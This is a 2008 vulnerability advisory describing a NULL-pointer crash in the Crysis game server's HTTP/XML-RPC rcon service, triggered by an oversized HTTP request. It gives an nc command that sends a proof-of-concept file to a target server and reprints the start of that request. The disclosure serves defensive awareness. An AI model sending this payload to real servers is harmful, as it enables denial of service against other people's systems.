dontcrysis-adv.txt

`  
#######################################################################  
  
Luigi Auriemma  
  
Application: Crysis  
http://www.ea.com/crysis/home.jsp  
Versions: <= 1.21 (1.1.1.6156 showed as gamever)  
Platforms: Windows  
Bug: NULL pointer in the HTTP/XML-RPC service  
Exploitation: remote, versus server  
Date: 16 Jun 2008  
Author: Luigi Auriemma  
e-mail: [email protected]  
web: aluigi.org  
  
  
#######################################################################  
  
  
1) Introduction  
2) Bug  
3) The Code  
4) Fix  
  
  
#######################################################################  
  
===============  
1) Introduction  
===============  
  
  
Crysis is a recent FPS game developed by Crytek (http://www.crytek.com)  
and released at November 2007.  
This game is well known for being a "computer killer" due to its high  
hardware requirements but also for having various problems with  
cheaters.  
  
  
#######################################################################  
  
======  
2) Bug  
======  
  
  
Crysis has a small internal HTTP/XML-RPC server which must be activated  
with the http_startserver command (manually or through server.cfg) and  
allows to receive rcon commands.  
  
This service works on port 80 if no port is specified but usually the  
admins choose a custom port or just the same of the game (64087, the  
service is easily distinguishable due to the "Bad Request" title  
visible with a web browser).  
  
If an attacker uses an HTTP request with a total length major than 4096  
bytes the server will crash due to a NULL pointer.  
  
  
#######################################################################  
  
===========  
3) The Code  
===========  
  
  
http://aluigi.org/poc/dontcrysis.txt  
  
nc SERVER HTTPPORT -v -v < dontcrysis.txt  
  
  
#######################################################################  
  
======  
4) Fix  
======  
  
  
No fix  
  
  
#######################################################################  
  
  
---   
Luigi Auriemma  
http://aluigi.org  
  
  
EXPLOIT (dontcrysis.txt):  
  
  
GET / HTTP/1.0  
Content-Length: 0  
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